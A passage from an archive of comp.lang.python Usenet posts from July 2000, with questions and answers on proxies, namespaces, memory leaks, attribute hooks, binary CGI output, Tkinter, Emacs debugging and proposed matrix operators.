    Praezisionsnumerik    Web: http://home.t-online.de/home/aotto
Ulmenstrasse 3            Skills: Unix,Sql,Tcl,Shell,Sybase...
D-34289 Zierenberg        Area: Bank, FX, MM, shares, options
=================================================================


From werner.geuens at skynet.be  Tue Jul 11 21:56:20 2000
From: werner.geuens at skynet.be (Werner Geuens)
Date: Tue, 11 Jul 2000 21:56:20
Subject: Using proxy
Message-ID: <396bd06b$1$jreare.trhraf$mr2ice@news.skynet.be>

I want to retrieve a measurement logfile from a geological measure site at
regular intervals. The document is available under http form. The function
urllib.urlretrieve works very well, and cron takes care of the periodic
launching.

But after on-site testing with a portable, I came back at the office. I
tested the log file with my browser (all OK), then started the Python
script and ... nothing.

Turns out it's a proxy problem. I have the needed permissions, do web and
ftp trough the companies proxy all the time. But how do I go about that
with python? I'm using Python 1.5.2 on WinNT and OS/2, and will be using
it under Linux (SUSE 6.2 or 6.4) in a near future.

Any simple solutions?

-- 
werner.geuens at skynet.be (Werner Geuens)
Research is what I'm doing when I don't know what I'm doing.
   Wernher von Braun.



From wayne.izatt at myself.com  Sat Jul 22 02:09:17 2000
From: wayne.izatt at myself.com (Wayne Izatt)
Date: Sat, 22 Jul 2000 06:09:17 GMT
Subject: Newbie pythoner, with bizzare problem
References: <8F79257Amilenkomoonshinecouk@194.73.73.116>
Message-ID: <39793A4D.A3D8995F@myself.com>

Just a guess, since I don't know much about Windows, but isn't the '/' meant
to be a '\'?

cheers

Jack wrote:

> Hey there,
>
> im pretty new to using python, and im just experimenting with file access,
> a wrote a script that works fine, and then all of a sudden it started
> throwing up this error:
>
> inp = open("c:/autoexec.bat",'r')
> TypeError: illegal argument type for built-in operation
>
> it was working fine before, and i dont see anything unusual in the syntax.
>
> Any help would be appreciated,
>
> Cheers,
>
> Jack Green



From slinkp23 at yahoo.com  Sun Jul  9 16:33:52 2000
From: slinkp23 at yahoo.com (Paul Winkler)
Date: Sun, 09 Jul 2000 16:33:52 -0400
Subject: Namespace weirdness
Message-ID: <3968E1B0.B6E6F3E9@yahoo.com>

Hi,

I think this is impossible... but is there a way for an object to
know what its parent namespace is?

I'm not sure if I phrased that correctly. Here's the simplest code I
can that demonstrates the idea.

class Food:
    def __init__(self, attr1):
        self.attr1 = attr1
    class BodyPart:
        def do_it(self):
            # This next line is a stand-in for what I want...
            print my_parent_namespace.attr1 


egg= Food("Hello from the egg!")
egg.head = egg.BodyPart()
egg.head.do_it() # I want this to print "Hello from the egg!"


-----------------------

I'm pretty new to OO design in general, so it could be that I'm nuts
and there's no good reason to ever want to do this...

As far as I can tell, it's impossible because instances don't "know
about" the names that reference them, since there may be an
unlimited number of such references. So there is no way for egg.head
to know about egg.attr1 unless I pass it as an argument to
egg.head.do_it() or egg.head.__init__()...

But I would love to be proved wrong since I want egg to have a LOT
of attributes, and I want it to contain a lot of objects that know
where to find them.

I have thought of one solution, which is to pass in the namespace as
an argument to the enclosed class, as part of its __init__(). That's
a pretty minimal amount of work to get the result I want.

class Food:
    def __init__(self, attr1):
        self.attr1 = attr1
    class BodyPart:
	def __init__(self, parent_namespace):
            self.parent_namespace = parent_namespace
        def do_it(self):
                # Now it should work.
                print self.parent_namespace.attr1 


egg = Food('Hello from the egg.')
egg.head = egg.BodyPart(egg)
egg.head.do_it()

------------------------

But for some reason this bothers me... maybe it's just that I know
what I mean and I wish python could read my mind. :)

Imagine this conversation:

me: "Bob, please say hello."

Bob: "Hello!"

me: "Bob, what is your name?"

Bob: "I have no idea."

me: "Then why did you answer when I called you Bob?"

(The answer, of course, is that Bob only does things that python
tells him to do, and it's python, not Bob, that initiates Bob's
actions; and when it does so, it doesn't refer to him by name, it
just speaks to him privately... at least in this weird analogy I'm
making.)

Maybe I'm off the deep end here, but I think it would be really
interesting if it were possible for an object to find out how it was
called. Sort of analogous to sys.argv[0]. And even more interesting
if spam.eggs.bacon had some way of knowing that it lives in eggs
which lives in bacon... 

.................    paul winkler    ..................
slinkP arts:   music, sound, illustration, design, etc.
        web page:  http://www.ulster.net/~abigoo        
      A member of ARMS:   http://www.reacharms.com
               or http://www.mp3.com/arms


From pete at visionart.com  Thu Jul 20 19:29:34 2000
From: pete at visionart.com (Pete Shinners)
Date: Thu, 20 Jul 2000 16:29:34 -0700
Subject: zip() : how about braid()
References: <Pine.BSF.4.10.10007191838040.26945-100000@chi.pair.com> <397681C6.FEAEE2E@my.signature> <ur6ens0t2evouijdsi70bsbb5p831meh4n@4ax.com> <397746AE.3CCDD423@schneider-kamp.de> <700fnsknn7k7fp22au924m2cprk04ghfic@4ax.com> <3977A093.5F98A59C@schneider-kamp.de>
Message-ID: <8l82k2$cpo$1@la-mail4.digilink.net>

"Peter Schneider-Kamp" <peter at schneider-kamp.de> wrote
> > >>> marry([1,3,5],[2,4,6])
> > ([1, 2], [3, 4], [5, 6])
> > >>> divorce([1,2,3,4,5,6])
> > ([1, 3, 5], [2, 4, 6])
>
> <excited>
> I absolutely truly *LOVE* this. That's great.
> Man, you made my day!
> </excited>
>
> zip() / unzip() sounds just so technical.


ah, but how would divorce always know how to best
separate the list? i suggest the marry function takes
an optional second argument, "prenuptual"

this way when marriage is made with a prenuptual,
the divorce goes much more smoothly.
of course, if marry() never expects to be followed
with a divorce() there is little need for the prenup.






From robin at jessikat.fsnet.co.uk  Sat Jul 22 03:27:32 2000
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Sat, 22 Jul 2000 08:27:32 +0100
Subject: CVS missing xmlparse.h
References: <yMet0XA6nYd5EwSD@jessikat.fsnet.co.uk>
 <3975BA62.91AE3D0@prescod.net> <5YhvBcAHucd5Ewz$@jessikat.fsnet.co.uk>
 <3975D3ED.2CD5AEAA@prescod.net>
Message-ID: <Fp8a5tAkzUe5EwPk@jessikat.fsnet.co.uk>

In article <3975D3ED.2CD5AEAA at prescod.net>, Paul Prescod
<paul at prescod.net> writes
>Robin Becker wrote:
>> 
>> ...
>>
>> so the core will include the module source, but not a needed .h file;
>
>Guido has a policy against distributing other people's modules.
>
>> the python-xml kit used to include all; 
>
>I guess Andrew Kuchling isn't such a hard-ass. :)
>
>> do I need pyexpat.pyd? Probably
>> not.
>
>No, if you're compiling yourself you don't need it.
>
well I got the latest expat and built this now; with VC++ 6 at least the
compiler complains bitterly about some of the doc strings which are
continued across two lines.
-- 
Robin Becker


From baron at null.net  Sat Jul  8 23:20:57 2000
From: baron at null.net (Matthew Schinckel)
Date: Sun, 9 Jul 2000 12:50:57 +0930
Subject: Making tabs illegal
In-Reply-To: <slrn8mdhqk.d33.bkhl@orcs-bane.localdomain>
References: <394ac7ea.609024015@nntp.interaccess.com> <3950C0E2.7532D38@sightreader.com> <8k5l8d$9lr$1@nnrp1.deja.com> <Pine.BOS.4.10.10007081420100.1550-100000@be> <slrn8mdhqk.d33.bkhl@orcs-bane.localdomain>
Message-ID: <Pine.BOS.4.10.10007091249490.928-100000@be>

On Jul 8, I overheard Bjoern Lindstroem mutter:

> Matthew Schinckel wrote:
> > Ugh!  Don't make this the default - I hate having to hit space four times,
> > I'd much rather just use tab.
> 
> Um... I had no problem to configure my editor to insert an
> appropriate amount of spaces when i press <Tab>.

This was not my issue - someone else was suggesting to BAN tabs, I was
saying 'NO!'

-- 
Matthew Schinckel     <matt at null.net>
 
What this country needs is a good five cent microcomputer.



From mwh21 at cam.ac.uk  Tue Jul 25 16:00:08 2000
From: mwh21 at cam.ac.uk (Michael Hudson)
Date: 25 Jul 2000 21:00:08 +0100
Subject: Memory management
References: <8lkdh5$qpm$1@news.rchland.ibm.com>
Message-ID: <m3zon6asl3.fsf@atrus.jesus.cam.ac.uk>

"Larry Whitley" <ldw at us.ibm.com> writes:

> I'm running out of virtual memory on my NT 4.0 system running a longish
> python script.  Python says "memory error" and quits.  NT shows the
> application using 130+ megabytes.  I have 192 megabytes on the system so it
> seems like a rational number.  I suspect that this means that I have a
> memory leak in my code.
> 
> In the outer loop of my code, I create a object of a class I have defined.
> The outer loop reads records from a trace file and hands them to the object
> created for execution.  This first level object creates a number of second
> level objects of a different class while processing the trace file.  When
> the trace file is complete, the outer loop deletes the first level object.
> I am expecting that to cause all of the references held by that object, and
> those of the second level objects is created to go to zero.
> 
> Here's a programmtic description:
[schnipp]
> My question:  How do I get rid of the memory used by o1 and by o1a, o1b, etc
> within o1 when each trace file is processed?

I'm guessing that you have reference cycles; these can be fun to find,
and even more fun to eliminate.  However the code you posted didn't
create any cycles, so either post some more, or go and stare at your
code some (ask Gordon about the "hypnotising bricks" approach...).

It's also possible that Python 2.0 will have a better garbage
collector.

Cheers,
M.

-- 
  Very rough; like estimating the productivity of a welder by the
  amount of acetylene used.         -- Paul Svensson, comp.lang.python
    [on the subject of the measuring programmer productivity by LOC]


From dale at out-think.NOSPAMco.uk  Thu Jul  6 10:24:05 2000
From: dale at out-think.NOSPAMco.uk (Dale Strickland-Clark)
Date: Thu, 6 Jul 2000 15:24:05 +0100
Subject: getattr and setattr
References: <8k1vqo$3e9$1@supernews.com> <20000706155320.A25064@xs4all.nl>
Message-ID: <8k24qm$5dp$1@supernews.com>

Very useful. Thanks.

--
Dale Strickland-Clark
Out-Think Ltd, UK
Business Technology Consultants

Thomas Wouters <thomas at xs4all.net> wrote in message
news:20000706155320.A25064 at xs4all.nl...
> On Thu, Jul 06, 2000 at 01:58:45PM +0100, Dale Strickland-Clark wrote:
>
> > I'm still trying to get to grips with object programming in Python and
> > finding decent documentation unbelievably hard to track down.
>
> Hm, I've never needed much more than the documentation on www.python.org:
> the tutorial at first, then the language ref and the library ref ;)
> The only parts lacking in there are Tkinter, and some modules which aren't
> documented yet.
>
> > I eagerly set about the tutorial but found it was  lacking in - well -
just
> > about every department.
>
> The tutorial is more of an intro than a comprehensive educational track.
Try
> the Language Reference or the Library Reference. If you don't care for the
> dull reference-style writing, try something like Learning Python, by
> O'Reilly, or one of the other online tutorials available (sorry, no URLs
;P)
>
> > I can't find any meat on __getattr__ and __setattr__.
> > These two special object functions don't seem to be very well documented
> > anywhere. (Please prove me wrong!)
>
> The language reference, section 3.3, 'Special Method Names':
> http://www.python.org/doc/ref/specialnames.html. To be more specific,
> section 3.3.2, 'Customizing attribute access'.
>
> > I can see how to handle a special case in __getattr__ with something
like:
>
> > class wibble
> >         def __getattr__(name):
> >                 if name == 'fred':
> >                         return 1
> >                 else:
> >                         # what?
>
> > But what if it's not the special case(s). How do I return an arbitrary
> > attribute? Do I do something like:
>
> __getattr__ is only called if the attribute does *not* exist on the
object.
> The reason is fairly simple: if it was called for every lookup,
__getattr__
> itself could never be looked up !
>
> If you decide, in your __getatr__, that an attribute shouldn't exist, you
> should raise AttributeError. Don't do something like 'return 0' or you'll
> confuse all kinds of internal mechanisms, like those that lookup special
> method names ;)
>
> __setattr__, however, is called for every attempt at storing a value in an
> attribute, wether it exists or not. If you use __setattr__ and want to
> alter an attribute, you shouldn't do the obvious ! If you assign from
inside
> __setattr__, __setattr__ is called again. Instead, you should modify
> self.__dict__.
>
> Section 3.3.2 explains all this, but in a bit less (and different ;)
words.
> --
> Thomas Wouters <thomas at xs4all.net>
>
> Hi! I'm a .signature virus! copy me into your .signature file to help me
spread!
>




From neilh at scintilla.org  Thu Jul  6 08:18:18 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Thu, 06 Jul 2000 12:18:18 GMT
Subject: [FAQTS] Python Knowledge Base Update -- July 6th, 2000
References: <20000706115459.24950.qmail@synop.com>
Message-ID: <eO_85.9145$Tb7.58647@news-server.bigpond.net.au>

> ## Unanswered Questions ########################################
>
>
> -------------------------------------------------------------
> Why is some strange charachters appearing  instead of norwegian
charachters in GUI of pythonwin build 132
> http://www.faqts.com/knowledge-base/view.phtml/aid/4590
> -------------------------------------------------------------
> Nils Otto Johansen

    I'm not sure about 132 but 131 defaults to using Unicode for editing
Python source code and the interactive window. To stop this, open
Pythonwin\pywin\scintilla\view.py, find the OnInitialUpdate method and
comment out the two lines under "# Enable Unicode if we can". Save the file,
shut down Pythonwin and restart it and see if this fixes the problem.

   Neil





From max at alcyone.com  Tue Jul 25 20:56:40 2000
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 25 Jul 2000 17:56:40 -0700
Subject: print format
References: <397E3530.E821018C@bioeng.ucsd.edu>
Message-ID: <397E3748.C9BC86DD@alcyone.com>

Curtis Jensen wrote:

> I don't know if this is possible in python but, Is there a way to
> repeat
> a format command a spceified number of times?  For example, in Fortran
> there is the format code "20I5"  Which is the same as "I5" twenty
> times.  I want something like:
> print '20(%i5) ' % [list of 20 intgers]

Why not something like

    print ("%5d " * 20) % integerTuple

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE
/  \ Triumph cannot help being cruel.
\__/ Jose Ortega y Gasset
    The laws list / http://www.alcyone.com/max/physics/laws/
 Laws, rules, principles, effects, paradoxes, etc. in physics.


From horst at proceryon.at  Wed Jul 19 06:32:20 2000
From: horst at proceryon.at (Horst Gassner)
Date: Wed, 19 Jul 2000 12:32:20 +0200
Subject: Canvas text - clipping instead of wrapping
Message-ID: <397583B4.52066F4E@proceryon.at>

Hello!

(using Tkinter)
Maybe a (too) simple question but I can not find the answer :-(
Is it possible to clip text inside the canvas text item? The default
behavior is wrapping text if the width attribute is set but I don't like
this in my special case.

If clipping is not possible - which is the best workaround for doing
this?

Thank you in advance
Horst


From genablu at my-deja.com  Fri Jul 14 06:38:28 2000
From: genablu at my-deja.com (genablu at my-deja.com)
Date: Fri, 14 Jul 2000 10:38:28 GMT
Subject: Python + Apache 1.3.x (CGI) not working (no mod_python)
References: <8kmjlb$vji$1@nnrp1.deja.com>
Message-ID: <8kmqj3$44b$1@nnrp1.deja.com>

Thanks to all for clarifying the '\n' at the end of the line!

It's funny:  I'd been paying attention to "follow with a blank  line" as
in "a line with a space" not "a line feed".

Let me know if I can be of assistance in any way.

Hugs!

Gena


Sent via Deja.com http://www.deja.com/
Before you buy.


From brianbird at my-deja.com  Fri Jul  7 06:49:32 2000
From: brianbird at my-deja.com (brianbird at my-deja.com)
Date: Fri, 07 Jul 2000 10:49:32 GMT
Subject: How to print to stdout in binary
References: <8k1kn5$mkt$1@nnrp1.deja.com> <3965408E.DDD4A2@pehr.net>
Message-ID: <8k4cjr$fic$1@nnrp1.deja.com>

I was actually testing under WindowsNT, but using Linux isn't a problem
either. I tried your test under both using an image file (test.gif)
piping into a new file "test2.gif"

Under linux the new file was identical and remained as an image
viewable from a web browser
Under windows, the new file was identical (according to Textpad's
compare function) but in Internet Explorer the image appeared partially
corrupted - but it still appeared as an image which is more than I got
before :-)

Does this mean sys.stdout will write in whatever mode it thinks is
correct or does it just output the exact string you give it to output?
(A normal file can output two different strings into a text file
depending on whether you tell it to write in binary or ascii)

However, I think this means that the problem I had with displaying the
image in an <IMG SRC="test.py"> HTML tag is probably not to do with the
mode of python stdout after all. Probably a webserver will output a
header before an image file which means the script will need to do that
as well. This probably isn't really the forum to ask, but does anyone
happen to know what this might be? :)

In article <3965408E.DDD4A2 at pehr.net>,
  pehr at pehr.net wrote:
> What platform are you developing on?
> under linux I did the following in a file "t.py":
>
> 	import sys
> 	x = open("python.prc", "rb").read()
> 	sys.stdout.write(x)
>
> [pehr at morseall python]$ python t.py  > t
> [pehr at morseall python]$ diff python.prc t
>
> I didn't get any differences when I did this.
> Would you try it and see how it goes?
>
> 	-pehr
>
> brianbird at my-deja.com wrote:
> >
> > I've seen similar questions to this posted in other language forums,
> > but I've not seen anything for Python:
> >
> > Does anyone know how to tell python to print the sys.stdout in
binary
> > rather than plain text. It's mode is set as 'w' and I can't seem to
> > change it.
> >
> > I'm experimenting with a cgi script which I want to output an image
to
> > the browser so that the HTML file can have:
> > <IMG SRC="test.cgi">
> > and the resulting output of the script is an image.
> > I've currently got:
> >
> > f = open("test.jpg","rb")
> > bytes = f.read()
> > f.close()
> > sys.stdout.print(bytes)
> >
> > but I want the output to print in binary mode so that the image can
be
> > displayed correctly. If I was printing to another file I could open
it
> > with:
> >
> > f2 = open("test2.jpg","wb")
> > f2.write(bytes)
> > f2.close()
> >
> > so is there any way to do this with stdout?
> >
> > Thanks
> >
> > Sent via Deja.com http://www.deja.com/
> > Before you buy.
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From tjg at exceptionalminds.com  Thu Jul  6 14:04:21 2000
From: tjg at exceptionalminds.com (Timothy Grant)
Date: Thu, 6 Jul 2000 11:04:21 -0700
Subject: mxODBC module
In-Reply-To: <8k14us$c4c$1@nnrp1.deja.com>; from ekw1@my-deja.com on Thu, Jul 06, 2000 at 05:20:33AM +0000
References: <8k14us$c4c$1@nnrp1.deja.com>
Message-ID: <20000706110421.B876@reepicheep.avalongroup.net>

On Thu, Jul 06, 2000 at 05:20:33AM +0000, ekw1 at my-deja.com wrote:

> And I can't even import ODBC.MySQL:
> >>> import ODBC.MySQL
> Traceback (innermost last):
>   File "<pyshell#13>", line 1, in ?
>     import ODBC.MySQL
>   File "C:\Program Files\Python\Lib\ODBC\MySQL\__init__.py", line 7, in
> ?
>     from mxODBC import *
> ImportError: No module named mxODBC
> 
> mxODBC is on the same directory level as MySQL, but it can't be found.

I can't help you with the first problem, but I know the second one well.
Usually this happens when you have installed the win32 extensions. There is
an ODBC module that comes with them and you end up with a name conflict. The
solution is to delete the odbc.pyc file that is in one of the python/Win32
directories. (Sorry, I don't have a Windows computer near me at the moment
to check the exact place).

-- 
Stand Fast,
    tjg.

Timothy Grant                         tjg at exceptionalminds.com
Chief Technology Officer              www.exceptionalminds.com
Red Hat Certified Engineer                      (503) 246-3630
Avalon Technology Group, Inc.               fax (503) 246-3124
>>>>>>>>>>>>Linux...Because crashing isn't normal<<<<<<<<<<<<<




From paul at prescod.net.bbs  Mon Jul 17 15:40:06 2000
From: paul at prescod.net.bbs (paul at prescod.net.bbs)
Date: 17 Jul 2000 19:40:06 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators f
Message-ID: <3bRNB9$l0S@openbazaar.net>

Huaiyu Zhu wrote:
>
> ...
>
> As to the claim that additional operators for linear algebra is somehow
> comparable to the special syntaxes/quirks of various programming languages,
> no real argument has been presented so far.

Okay, then, let me try.

> It's more like: If I don't care
> and don't use such things, they must belong to a special domain and be
> somehow comparable to some other things that I do know and dislike.

Let me rephrase: "If MOST Python programmers don't care and don't use
such things, they must belong to a special domain." I think that's a
good operative definition of "domain specific". That's the crux of the
argument. Don't throw complex numbers back in my face because they
required *minimal new syntax*. There is already more "extra" syntax in
the language for matrices than for complex numbers.

I don't know why you have the impression that matrix operators have
been compared to anything that people dislike. Most people have compared
them to things that they *do* like, but must do through function syntax
because Python doesn't pander to my particular needs or your particular
needs, but rather those of most average programmers. I like XML
processing and I daresay there are more books sold on it than on
Matlab. But I've never asked for special, XML-specific syntax.

Maybe you should consider how to scale back your syntactic request.
Perhaps a single keyword or symbol at the beginning of an expression
could make it element-wise or matrix-wise.
--
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on.
	- http://www.cs.yale.edu/~perlis-alan/quotes.html


From gjohnson at gs.verio.net  Tue Jul 18 21:38:25 2000
From: gjohnson at gs.verio.net (Tony Johnson)
Date: Tue, 18 Jul 2000 20:38:25 -0500
Subject: Getting local IP address...
References: <uitu45ihv.fsf@ctwd0143.fitlinxx.com> <CC59868A0A76D311B1F50090277B321C1F342C@VRTMAIL> <8l236h$8b8i$1@nntp6.u.washington.edu> <39750089$1_1@my.newsfeeds.com>
Message-ID: <39750690.7F1BE2C@gs.verio.net>

>On the bright side, generally it's not necessary to know your own
>IP address.  I'm curious why we are seeing this question so often,
>what are folks doing out there?



Uuum Excuse me...??? What server software do u run that will work
properly using dhcp addy's???  I think someone needs to rethink think
thier position



From hzhu at localhost.localdomain  Mon Jul 17 02:34:01 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Mon, 17 Jul 2000 06:34:01 GMT
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396E160D.272C0C34@roguewave.com> <slrn8msd14.sj.hzhu@localhost.localdomain> <396E444D.496234AC@roguewave.com> <slrn8mso2i.sj.hzhu@localhost.localdomain> <396F76F0.1B451932@sage.att.com> <slrn8mvqbe.12e.hzhu@localhost.localdomain> <gTtc5.183$ttZ2.7143576@news.randori.com>
Message-ID: <slrn8n5ad4.n88.hzhu@rock.localdomain>

On Mon, 17 Jul 2000 02:07:08 GMT, jepler epler <jepler.lnk at lnk.ispi.net> wrote:
>On Sat, 15 Jul 2000 04:29:09 GMT, Huaiyu Zhu
> <hzhu at localhost.localdomain> wrote:
>>That's the beauty of numerical computation, because all kinds of
>>applications, from animation on your screen to controlling satallite in
>>space to analysing molecular structures to calculating consumer preference
>>could all be expressed in the language of linear algebra.  (Mathematicians
>>study spaces more abstract than linear spaces, but you wouldn't want to hear
>>about them before appreciating the usefulness of linear algebra.) For
>>example, all deterministic procedures are functions, and most functions we
>>see are simply points in an (infinite dimensional) space.
>
>That's the beauty of procedural programming, because all kinds of
>applications, from animation on your screen to controlling a satellite in
>space to analyzing molecular structures to calculating consumer preference
>could all be expressed in the language of procedural programming.
>(Programmers study programming languages more abstract than functional
>programming, but you wouldn't want to hear about them before appreciating
>the usefulness of procedural programming.)  For example, all deterministic
>processes are expressible as Turing machines, and most turing machines
>we see are simply expressible in procedural languages.
>

The first paragraph was a response to a particular argument.  There are
problems that most people would not think of using linear algebra and ends
up with programs of hundreds of lines with slow for loops, but which could
be expressed in just a couple of math formula and, given the right syntax,
maps to less than a dozen lines of short clean code.

I'm not sure what the second paragraph is referring to.  If it is telling
people that something that's written in assembly could be easily done in
procedural languages then it makes perfect sense, except for the reference
to Turing machines - if you use Turing machines as building blocks (as
opposed to computing engines), how many TMs do you expect to halt before the
program finishes?

not-that-this-is-on-topic-ly yr's

Huaiyu

PS. I'm sure someone would ask how you could complete the calculation of an
infinite dimensional vector.  That is left as an exercise to the reader. :-)


From klm at digicool.com  Sun Jul 16 15:38:51 2000
From: klm at digicool.com (Ken Manheimer)
Date: Sun, 16 Jul 2000 15:38:51 -0400 (EDT)
Subject: pdbtrack.el - track source file whenever runing pdb in an emacs buffer
Message-ID: <14706.3915.797969.565968@korak.digicool.com>

I've put together an alternative, pared down approach to doing python
debugging inside emacs - pdbtrack:

  http://www.zope.org/Wikis/klm/PDBTrack

Once loaded, pdbtrack watches your (comint) process interaction
buffers for the pdb stacktrace.  When it sees it, and can find the
file containing the current stacktrace focus, it pops the file up in a
separate emacs buffer, centered on the current debug line.  This way
you continue to interact with pdb, stepping into and out of functions,
moving up and down stack frames, anything that changes focus - and
emacs displays the right place in the source in a companion buffer.

Of course, pdbtrack works just fine with the zope interactive debugger 
(reachable, for example, via:

  % cd $SOFTWARE_HOME/lib/python
  % python
  >>> import Zope; app = Zope.app()
  >>> Zope.debug('Zope.app().whatever', d=1)
  [debug...]

)

The big difference between pdbtrack.el and pdb.el is that you don't
need to start your debugging session in a GUD (Grand Unified Debugger)
buffer.  I often have to arrange a lot of state in the interpreter
before i can jump into debugging.  This generally defeats switching to
a GUD session, with its separate process - while pdbtrack just jumps
in whenever i go into the python debugger, within the accumulated
context. 

pdbtrack lacks a number of things that GUD does have.  It doesn't
highlight the current source line other than centering it in the
source buffer, and it doesn't provide nicities like stepping and
setting breakpoints from within the source buffer.

However, pdbtrack is much much more lightweight than gud - and it
might be interesting to see about providing some of the gud features,
like debug keybindings in the source file buffers involved in the
debug session, with this more open, decentralized model.

In the meanwhile, pdbtrack goes a long way towards doing what i want -
i hope it's useful to others.  I've submitted an entry for vaults of
parnassus, not sure how long it takes to show.  To repeat from above,
you can find it at:

  http://www.zope.org/Wikis/klm/PDBTrack

Ken Manheimer
klm at digicool.com



From mpotter27 at my-deja.com  Wed Jul 12 15:53:34 2000
From: mpotter27 at my-deja.com (mpotter27 at my-deja.com)
Date: Wed, 12 Jul 2000 19:53:34 GMT
Subject: Tkinter destroy() and mem leaks
Message-ID: <8kiibl$1rm$1@nnrp1.deja.com>

Hi,

I have what is probably a rather naive question, but here goes...

I puzzled as to why invoking the destroy() method on a widget fails to
remove the reference to it's master? As far as I can tell from the code
it removes the references in master.children, removes all it's own
children entries, etc.. but retains it's self.master reference.

For example:

>>> from Tkinter import *
>>> import sys
>>> f = Frame()
>>> b = Button(f)
>>> sys.getrefcount(f)
4
>>> f.destroy()
>>> sys.getrefcount(f)
3
>>> b.master
<Tkinter.Frame instance at 10280840>
>>> f.children
{}
>>> b.master = None
>>> sys.getrefcount(f)
2

This typically isn't a problem as long as the master doesn't hold any
references to the child other than via .children. However, the
situation that made me notice this was one in which I made a simple-
minded "mega-widget" by subclassing Frame and having it store
references to a number of subwidgets as attributes:

class myFrame(Frame):

    def __init__(self,parent = None):
        Frame.__init__(self,parent)
        self.button = Button(self,command=self.callback)

    def callback(self):
        pass

If used so:

frame = myFrame()
frame.destroy()
del(frame)

It leaks memory as the button references the myFrame instance
via .master and myFrame references the button via self.button.

Now one could avoid this by structuring the code differently, but it
seems that simply having Tkinter.BaseWidget.destroy set self.master =
None would solve the problem. It seems that destroy should remove all
the Tkinter specific "stuff" from the python proxy object. However I'm
sure there's a reason it doesn't. I'd be grateful if someone could tell
me what it is.

Sorry for the long post!

Mike Potter

Center for Advanced Research in Biotechnology
9600 Gudelsky Dr
Rockville, MD 20850
potterm at erols.com


Sent via Deja.com http://www.deja.com/
Before you buy.


From aahz at netcom.com  Thu Jul 20 09:48:05 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 20 Jul 2000 13:48:05 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com>
Message-ID: <8l6vul$5ig$1@slb3.atl.mindspring.net>

In article <Pine.LNX.4.10.10007191505070.1129-100000 at rocket.knowledgetrack.com>,
Huaiyu Zhu  <huaiyu_zhu at yahoo.com> wrote:
>
>        matrix          element      names (with prefix m or e)
>          +               .+            add
>          -               .-            sub

I am strongly opposed to operators of the form ".+".  What happens if
take an expression of the form "5.+matrix"?  No, that goes against the
Python rule of having zero ambiguity.
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Q:  In a lesbian relationship, who decides who gets to be the man?
A:  It's two women.  There is no man.  That's the point.


From olivierS.dagenaisP at canadaA.comM  Mon Jul 24 10:23:58 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Mon, 24 Jul 2000 14:23:58 GMT
Subject: newb Q: security with variables
References: <397BE388.349CCA17@mediaone.net>
Message-ID: <2kYe5.25991$1h3.418424@news20.bellglobal.com>

How about encrypting the contents of the file?  Or using a One Time Password
challenge/response mechanism?

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Toy" <gee308 at mediaone.net> wrote in message
news:397BE388.349CCA17 at mediaone.net...
> Could you please explain to me various secure ways of having a python
> script store variables such as your password/username in a file.
> I understand that you can chmod 0400 <variables.file>, but are there any
> other alternatives?
>
> Also, can you run python code with files that don't end with the python
> extensions(.py and others)?  That way it would make it less obvious that
> it was some sort of script.  Thanks
> Jason Toy
> toyboy at toy.eyep.net
> http://toy.eyep.net
>




From richard_chamberlain at ntlworld.com  Sat Jul 29 16:04:48 2000
From: richard_chamberlain at ntlworld.com (richard_chamberlain)
Date: Sat, 29 Jul 2000 21:04:48 +0100
Subject: QUESTION: COM objects in python? 
References: <8lt4ra+sgp4@eGroups.com>
Message-ID: <QJGg5.1046$Oy3.21036@news2-win.server.ntlworld.com>

Hi,

Mark probably didn't mention because he wrote it but there's a great book by
him and Andy Robinson caled Python Programming on Win32. It gives some
excellent examples of exactly what you want to do.


Richard
M. Ranganathan <mranga at nist.gov> wrote in message
news:8lt4ra+sgp4 at eGroups.com...
> Hello,
>
> Another question from a newbie...
>
> I would like to build an application server object and export a COM
> interface for it so others can use my component. I would like to use
> python to do this. Is this possible / easy to do? If so, where can I
> look to find how to do this?
>
> I know that the opposite is possible (i.e. call com interfaces from
> python).
>
> Thank you in advance for your replies.
>
> Ranga.
>
>




From kpmurphy at my-deja.com  Mon Jul 24 12:37:02 2000
From: kpmurphy at my-deja.com (Keith Murphy)
Date: Mon, 24 Jul 2000 16:37:02 GMT
Subject: tkinter: grid: expand and fill
Message-ID: <8lhrbd$t4v$1@nnrp1.deja.com>

is there a way to make a frame, that's been formatted using grid, expand
to fill the space it is given?

thanks,
-->keith


Sent via Deja.com http://www.deja.com/
Before you buy.


From donn at u.washington.edu  Thu Jul 20 12:55:29 2000
From: donn at u.washington.edu (Donn Cave)
Date: 20 Jul 2000 16:55:29 GMT
Subject: Type checking in python?
References: <39770CD5.215D4C0C@cornell.edu> <Ptvc5.40687$MT.1455524@news-west.usenetserver.com> <397296BC.415C97E1@prescod.net>
Message-ID: <8l7au1$mf6$1@nntp6.u.washington.edu>

Quoth Samuel Scarano <srs25 at cornell.edu>:
...
| Anyway, interesting point, but isn't that what multiple inheritance is for?
| A static (or, for that matter, dynamic) typecheck ensuring that the function
| is called with a string would work fine with unicode strings as long as the
| unicode string class is a subclass of the string class.
|
| Of course, you can't inherit from a built-in type, which is one of the
| uglier features of Python, so it wouldn't work in this case. But is that the
| only reason not to do it? That is, when dealing only with user-defined
| classes, is there ever any real reason to try to fool a function by passing
| an object of the wrong class but with the right methods, rather than
| declaring its class as a subclass of the class the function is expecting?

I just learned while reading another post in this thread that my thoughts
about these matters puts me in the group of people who think deeply about
it, so I'm emboldened to put my 2 cents in!

What about the file object and StringIO?  I mean, supposing that you were
